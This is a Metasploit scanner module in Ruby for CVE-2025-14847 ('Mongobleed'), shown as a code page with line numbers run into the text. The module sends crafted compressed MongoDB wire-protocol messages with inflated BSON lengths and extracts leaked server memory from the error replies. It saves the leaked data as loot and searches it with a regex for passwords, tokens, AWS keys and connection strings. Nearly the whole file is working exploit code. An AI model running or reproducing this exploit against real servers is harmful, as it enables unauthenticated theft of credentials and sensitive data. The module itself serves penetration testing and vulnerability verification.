Path: blob/master/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb
28788 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed',15'Description' => %q{16This module exploits a memory disclosure vulnerability in MongoDB's zlib17decompression handling (CVE-2025-14847). By sending crafted OP_COMPRESSED18messages with inflated BSON document lengths, the server reads beyond the19decompressed buffer and returns leaked memory contents in error messages.2021The vulnerability allows unauthenticated remote attackers to leak server22memory which may contain sensitive information such as credentials, session23tokens, encryption keys, or other application data.24},25'Author' => [26'Alexander Hagenah', # Metasploit module (x.com/xaitax)27'Diego Ledda', # Co-author & review (x.com/jbx81)28'Joe Desimone' # Original discovery and PoC (x.com/dez_)29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2025-14847'],33['URL', 'https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb'],34['URL', 'https://jira.mongodb.org/browse/SERVER-115508'],35['URL', 'https://x.com/dez_']36],37'DisclosureDate' => '2025-12-19',38'DefaultOptions' => {39'RPORT' => 2701740},41'Notes' => {42'Stability' => [CRASH_SAFE],43'SideEffects' => [IOC_IN_LOGS],44'Reliability' => [REPEATABLE_SESSION]45}46)47)4849register_options(50[51Opt::RPORT(27017),52OptInt.new('MIN_OFFSET', [true, 'Minimum BSON document length offset', 20]),53OptInt.new('MAX_OFFSET', [true, 'Maximum BSON document length offset', 8192]),54OptInt.new('STEP_SIZE', [true, 'Offset increment (higher = faster, less thorough)', 1]),55OptInt.new('BUFFER_PADDING', [true, 'Padding added to buffer size claim', 500]),56OptInt.new('LEAK_THRESHOLD', [true, 'Minimum bytes to report as interesting leak', 10]),57OptBool.new('QUICK_SCAN', [true, 'Quick scan mode - sample key offsets only', false]),58OptInt.new('REPEAT', [true, 'Number of scan passes (more passes = more data)', 1])59]60)6162register_advanced_options(63[64OptBool.new('SHOW_ALL_LEAKS', [true, 'Show all leaked fragments, not just large ones', false]),65OptBool.new('SHOW_HEX', [true, 'Show hexdump of leaked data', false]),66OptString.new('SECRETS_PATTERN', [true, 'Regex pattern to detect sensitive data', 'password|secret|key|token|admin|AKIA|Bearer|mongodb://|mongo:|conn|auth']),67OptBool.new('FORCE_EXPLOIT', [true, 'Attempt exploitation even if version check indicates not vulnerable', false]),68OptInt.new('PROGRESS_INTERVAL', [true, 'Show progress every N offsets (0 to disable)', 500])69]70)71end7273# MongoDB Wire Protocol constants74OP_QUERY = 2004 # Legacy query opcode75OP_REPLY = 1 # Legacy reply opcode76OP_COMPRESSED = 201277OP_MSG = 201378COMPRESSOR_ZLIB = 27980def check_vulnerable_version(version_str)81# Parse version for comparison82version_match = version_str.match(/^(\d+\.\d+\.\d+)/)83return :unknown unless version_match8485mongodb_version = Rex::Version.new(version_match[1])8687# Check against vulnerable version ranges per MongoDB JIRA SERVER-11550888if mongodb_version.between?(Rex::Version.new('3.6.0'), Rex::Version.new('3.6.99')) ||89mongodb_version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('4.0.99')) ||90mongodb_version.between?(Rex::Version.new('4.2.0'), Rex::Version.new('4.2.99'))91return :vulnerable_eol92elsif mongodb_version.between?(Rex::Version.new('4.4.0'), Rex::Version.new('4.4.29')) ||93mongodb_version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.31')) ||94mongodb_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.0.26')) ||95mongodb_version.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.27')) ||96mongodb_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.16')) ||97mongodb_version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.2'))98return :vulnerable99elsif (mongodb_version >= Rex::Version.new('4.4.30') && mongodb_version < Rex::Version.new('5.0.0')) ||100(mongodb_version >= Rex::Version.new('5.0.32') && mongodb_version < Rex::Version.new('6.0.0')) ||101(mongodb_version >= Rex::Version.new('6.0.27') && mongodb_version < Rex::Version.new('7.0.0')) ||102(mongodb_version >= Rex::Version.new('7.0.28') && mongodb_version < Rex::Version.new('8.0.0')) ||103(mongodb_version >= Rex::Version.new('8.0.17') && mongodb_version < Rex::Version.new('8.2.0')) ||104(mongodb_version >= Rex::Version.new('8.2.3'))105return :patched106end107108:unknown109end110111def run_host(ip)112# Version detection and vulnerability check113version_info = get_mongodb_version114115if version_info116version_str = version_info[:version]117print_status("MongoDB version: #{version_str}")118119vuln_status = check_vulnerable_version(version_str)120case vuln_status121when :vulnerable_eol122print_good("Version #{version_str} is VULNERABLE (EOL, no fix available)")123when :vulnerable124print_good("Version #{version_str} is VULNERABLE to CVE-2025-14847")125when :patched126print_warning("Version #{version_str} appears to be PATCHED")127unless datastore['FORCE_EXPLOIT']128print_status('Set FORCE_EXPLOIT=true to attempt exploitation anyway')129return130end131print_status('FORCE_EXPLOIT enabled, continuing...')132when :unknown133print_warning("Version #{version_str} - vulnerability status unknown")134print_status('Proceeding with exploitation attempt...')135end136else137print_warning('Could not determine MongoDB version')138print_status('Proceeding with exploitation attempt...')139end140141# Perform the memory leak exploitation142exploit_memory_leak(ip, version_info)143end144145def get_mongodb_version146connect147148# Build buildInfo command using legacy OP_QUERY149# This works without authentication on most MongoDB configurations150response = send_command('admin', { 'buildInfo' => 1 })151disconnect152153return nil if response.nil?154155# Parse BSON response to extract version156parse_build_info(response)157rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e158vprint_error("Connection error during version check: #{e.message}")159nil160rescue StandardError => e161vprint_error("Error getting MongoDB version: #{e.message}")162nil163ensure164begin165disconnect166rescue StandardError167nil168end169end170171def send_command(database, command)172# Build BSON document for command173bson_doc = build_bson_document(command)174175# Build OP_QUERY packet176# flags (4 bytes) + fullCollectionName + numberToSkip (4) + numberToReturn (4) + query177collection_name = "#{database}.$cmd\x00"178179query_body = [0].pack('V') # flags180query_body << collection_name # fullCollectionName (null-terminated)181query_body << [0].pack('V') # numberToSkip182query_body << [1].pack('V') # numberToReturn183query_body << bson_doc # query document184185# Build header186request_id = rand(0xFFFFFFFF)187message_length = 16 + query_body.length188header = [message_length, request_id, 0, OP_QUERY].pack('VVVV')189190# Send and receive191sock.put(header + query_body)192193# Read response194response_header = sock.get_once(16, 5)195return nil if response_header.nil? || response_header.length < 16196197msg_len, _req_id, _resp_to, opcode = response_header.unpack('VVVV')198return nil unless opcode == OP_REPLY199200# Read rest of response201remaining = msg_len - 16202return nil if remaining <= 0203204response_body = sock.get_once(remaining, 5)205return nil if response_body.nil?206207# OP_REPLY structure:208# responseFlags (4) + cursorID (8) + startingFrom (4) + numberReturned (4) + documents209return nil if response_body.length < 20210211response_body[20..] # Return documents portion212end213214def build_bson_document(hash)215doc = ''.b216217hash.each do |key, value|218case value219when Integer220if value.between?(-2_147_483_648, 2_147_483_647)221doc << "\x10" # int32 type222doc << "#{key}\x00" # key (cstring)223doc << [value].pack('V') # value224else225doc << "\x12" # int64 type226doc << "#{key}\x00"227doc << [value].pack('q<')228end229when Float230doc << "\x01" # double type231doc << "#{key}\x00"232doc << [value].pack('E')233when String234doc << "\x02" # string type235doc << "#{key}\x00"236doc << [value.length + 1].pack('V') # string length (including null)237doc << "#{value}\x00"238when TrueClass, FalseClass239doc << "\x08" # boolean type240doc << "#{key}\x00"241doc << (value ? "\x01" : "\x00")242end243end244245doc << "\x00" # Document terminator246[doc.length + 4].pack('V') + doc # Prepend document length247end248249def parse_build_info(bson_data)250return nil if bson_data.nil? || bson_data.length < 5251252result = {}253254# Parse BSON document255doc_len = bson_data[0, 4].unpack1('V')256return nil if doc_len > bson_data.length257258pos = 4259while pos < doc_len - 1260type = bson_data[pos].ord261break if type == 0262263pos += 1264265# Read key (cstring)266key_end = bson_data.index("\x00", pos)267break if key_end.nil?268269key = bson_data[pos...key_end]270pos = key_end + 1271272case type273when 0x02 # String274str_len = bson_data[pos, 4].unpack1('V')275value = bson_data[pos + 4, str_len - 1]276pos += 4 + str_len277278case key279when 'version'280result[:version] = value281when 'gitVersion'282result[:git_version] = value283when 'sysInfo'284result[:sys_info] = value285end286when 0x03 # Embedded document287sub_doc_len = bson_data[pos, 4].unpack1('V')288if key == 'buildEnvironment'289# Could parse this for more details290end291pos += sub_doc_len292when 0x10 # int32293pos += 4294when 0x12 # int64295pos += 8296when 0x01 # double297pos += 8298when 0x08 # boolean299pos += 1300when 0x04 # array301arr_len = bson_data[pos, 4].unpack1('V')302pos += arr_len303else304# Unknown type, try to continue305break306end307end308309# Try alternate method if version not found (using hello/isMaster)310result[:version] ||= try_hello_command311312result[:version] ? result : nil313end314315def try_hello_command316begin317response = send_command('admin', { 'hello' => 1 })318return nil if response.nil?319320# Look for version string in response321if response =~ /(\d+\.\d+\.\d+)/322return ::Regexp.last_match(1)323end324rescue StandardError325nil326end327nil328end329330def exploit_memory_leak(ip, version_info)331all_leaked = ''.b332unique_leaks = Set.new333secrets_found = []334335# Determine offsets to scan336offsets = generate_scan_offsets337total_offsets = offsets.size338repeat_count = datastore['REPEAT']339340if repeat_count > 1341print_status("Running #{repeat_count} scan passes to maximize data collection...")342end343344# Track overall progress345progress_interval = datastore['PROGRESS_INTERVAL']346Time.now3473481.upto(repeat_count) do |pass|349if repeat_count > 1350print_status("=== Pass #{pass}/#{repeat_count} ===")351end352353print_status("Scanning #{total_offsets} offsets (#{datastore['MIN_OFFSET']}-#{datastore['MAX_OFFSET']}, step=#{datastore['STEP_SIZE']}#{datastore['QUICK_SCAN'] ? ', quick mode' : ''})")354355start_time = Time.now356scanned = 0357pass_leaks = 0358359offsets.each do |doc_len|360# Progress reporting361scanned += 1362if progress_interval > 0 && (scanned % progress_interval == 0)363elapsed = Time.now - start_time364rate = scanned / elapsed365remaining = ((total_offsets - scanned) / rate).round366print_status("Progress: #{scanned}/#{total_offsets} (#{(scanned * 100.0 / total_offsets).round(1)}%) - #{unique_leaks.size} leaks found - ETA: #{remaining}s")367end368369response = send_probe(doc_len, doc_len + datastore['BUFFER_PADDING'])370next if response.nil? || response.empty?371372leaks = extract_leaks(response)373leaks.each do |data|374next if unique_leaks.include?(data)375376unique_leaks.add(data)377all_leaked << data378pass_leaks += 1379380# Check for interesting patterns381check_secrets(data, doc_len, secrets_found)382383# Report large leaks or all if configured384next unless data.length > datastore['LEAK_THRESHOLD'] || datastore['SHOW_ALL_LEAKS']385386preview = data.gsub(/[^[:print:]]/, '.')[0, 80]387print_good("offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}")388389# Show hex dump if enabled390if datastore['SHOW_HEX'] && !data.empty?391print_hexdump(data)392end393end394rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e395vprint_error("Connection error at offset #{doc_len}: #{e.message}")396next397rescue ::Timeout::Error398vprint_error("Timeout at offset #{doc_len}")399next400end401402# Pass summary403if repeat_count > 1404print_status("Pass #{pass} complete: #{pass_leaks} new leaks (#{unique_leaks.size} total unique)")405end406end407408# Overall summary and loot storage409if !all_leaked.empty?410print_line411print_good("Total leaked: #{all_leaked.length} bytes")412print_good("Unique fragments: #{unique_leaks.size}")413414# Store leaked data as loot415loot_info = 'MongoDB Memory Disclosure (CVE-2025-14847)'416loot_info += " - Version: #{version_info[:version]}" if version_info&.dig(:version)417418path = store_loot(419'mongodb.memory_leak',420'application/octet-stream',421ip,422all_leaked,423'mongobleed.bin',424loot_info425)426print_good("Leaked data saved to: #{path}")427428# Report found secrets429if secrets_found.any?430print_line431print_warning('Potential secrets detected:')432secrets_found.uniq.each do |secret|433print_warning(" - #{secret}")434end435end436437# Report the vulnerability438vuln_info = "Leaked #{all_leaked.length} bytes of server memory"439vuln_info += " (MongoDB #{version_info[:version]})" if version_info&.dig(:version)440441report_vuln(442host: ip,443port: rport,444proto: 'tcp',445name: name,446refs: references,447info: vuln_info448)449else450print_status("No data leaked from #{ip}:#{rport}")451end452end453454def send_probe(doc_len, buffer_size)455# Build minimal BSON content - we lie about total length to trigger the bug456# int32 field "a" with value 1457bson_content = "\x10a\x00\x01\x00\x00\x00".b458459# BSON document with inflated length (this is the key to the exploit)460bson = [doc_len].pack('V') + bson_content461462# Wrap in OP_MSG structure463# flags (4 bytes) + section kind (1 byte) + BSON464op_msg = [0].pack('V') + "\x00".b + bson465466# Compress the OP_MSG payload467compressed_data = Zlib::Deflate.deflate(op_msg)468469# Build OP_COMPRESSED payload470# originalOpcode (4 bytes) + uncompressedSize (4 bytes) + compressorId (1 byte) + compressedData471payload = [OP_MSG].pack('V')472payload << [buffer_size].pack('V') # Claimed uncompressed size (inflated)473payload << [COMPRESSOR_ZLIB].pack('C')474payload << compressed_data475476# MongoDB wire protocol header477# messageLength (4 bytes) + requestID (4 bytes) + responseTo (4 bytes) + opCode (4 bytes)478message_length = 16 + payload.length479header = [message_length, 1, 0, OP_COMPRESSED].pack('VVVV')480481# Send and receive with proper cleanup482response = nil483begin484connect485sock.put(header + payload)486response = recv_mongo_response487ensure488begin489disconnect490rescue StandardError491nil492end493end494495response496end497498def recv_mongo_response499# Read header first (16 bytes minimum)500header = sock.get_once(16, 2)501return nil if header.nil? || header.length < 4502503msg_len = header.unpack1('V')504return header if msg_len <= 16505506# Read remaining data507remaining = msg_len - header.length508if remaining > 0509data = sock.get_once(remaining, 2)510return header if data.nil?511512header + data513else514header515end516rescue ::Timeout::Error, ::EOFError517nil518end519520def extract_leaks(response)521return [] if response.nil? || response.length < 25522523leaks = []524525begin526msg_len = response.unpack1('V')527return [] if msg_len > response.length528529# Check if response is compressed (opcode at offset 12)530opcode = response[12, 4].unpack1('V')531532if opcode == OP_COMPRESSED533# Decompress: skip header (16) + originalOpcode (4) + uncompressedSize (4) + compressorId (1) = 25 bytes534raw = Zlib::Inflate.inflate(response[25, msg_len - 25])535else536# Uncompressed OP_MSG - skip header537raw = response[16, msg_len - 16]538end539540return [] if raw.nil?541542# Extract field names from BSON parsing errors543# These contain memory leaked as "field names"544raw.scan(/field name '([^']*)'/) do |match|545data = match[0]546# Filter out known legitimate field names547next if data.nil? || data.empty?548next if ['?', 'a', '$db', 'ping', 'ok', 'errmsg', 'code', 'codeName'].include?(data)549550leaks << data551end552553# Extract type bytes from unrecognized BSON type errors554raw.scan(/(?:unrecognized|unknown|invalid)\s+(?:BSON\s+)?type[:\s]+(\d+)/i) do |match|555type_byte = match[0].to_i & 0xFF556leaks << type_byte.chr if type_byte > 0557end558rescue Zlib::Error => e559vprint_error("Decompression error: #{e.message}")560rescue StandardError => e561vprint_error("Error extracting leaks: #{e.message}")562end563564leaks565end566567def check_secrets(data, offset, secrets_found)568pattern = Regexp.new(datastore['SECRETS_PATTERN'], Regexp::IGNORECASE)569return unless data =~ pattern570571match = ::Regexp.last_match[0]572match_pos = ::Regexp.last_match.begin(0)573574# Extract context around the match (20 chars before and after)575context_start = [match_pos - 20, 0].max576context_end = [match_pos + match.length + 20, data.length].min577context = data[context_start...context_end].gsub(/[^[:print:]]/, '.')578579# Highlight position in context580secret_info = "Pattern '#{match}' at offset #{offset}"581secret_info += " (pos #{match_pos}): ...#{context}..."582583secrets_found << secret_info584print_warning("Secret pattern detected at offset #{offset}: '#{match}' in context: ...#{context}...")585end586587def generate_scan_offsets588min_off = datastore['MIN_OFFSET']589max_off = datastore['MAX_OFFSET']590step = datastore['STEP_SIZE']591592if datastore['QUICK_SCAN']593# Quick scan mode: sample key offsets that typically yield results594# Based on common BSON document sizes and memory alignment595quick_offsets = []596597# Small offsets (header area)598quick_offsets += (20..100).step(5).to_a599600# Power of 2 boundaries (common allocation sizes)601[128, 256, 512, 1024, 2048, 4096, 8192].each do |boundary|602next if boundary < min_off || boundary > max_off603604# Sample around boundaries605(-10..10).step(2).each do |delta|606off = boundary + delta607quick_offsets << off if off >= min_off && off <= max_off608end609end610611# Sample every 128 bytes for broader coverage612quick_offsets += (min_off..max_off).step(128).to_a613614quick_offsets.uniq.sort.select { |o| o >= min_off && o <= max_off }615else616# Normal scan with step size617(min_off..max_off).step(step).to_a618end619end620621def print_hexdump(data)622return if data.nil? || data.empty?623624# Print hexdump in classic format (16 bytes per line)625offset = 0626data.bytes.each_slice(16) do |chunk|627hex_part = chunk.map { |b| '%02x' % b }.join(' ')628ascii_part = chunk.map { |b| (b >= 32 && b < 127) ? b.chr : '.' }.join629630# Pad hex part if less than 16 bytes631hex_part = hex_part.ljust(47)632633print_line(" #{('%04x' % offset)} #{hex_part} |#{ascii_part}|")634offset += 16635636# Limit output to avoid flooding console637break if offset >= 256638end639print_line(' ...') if data.length > 256640end641end642643644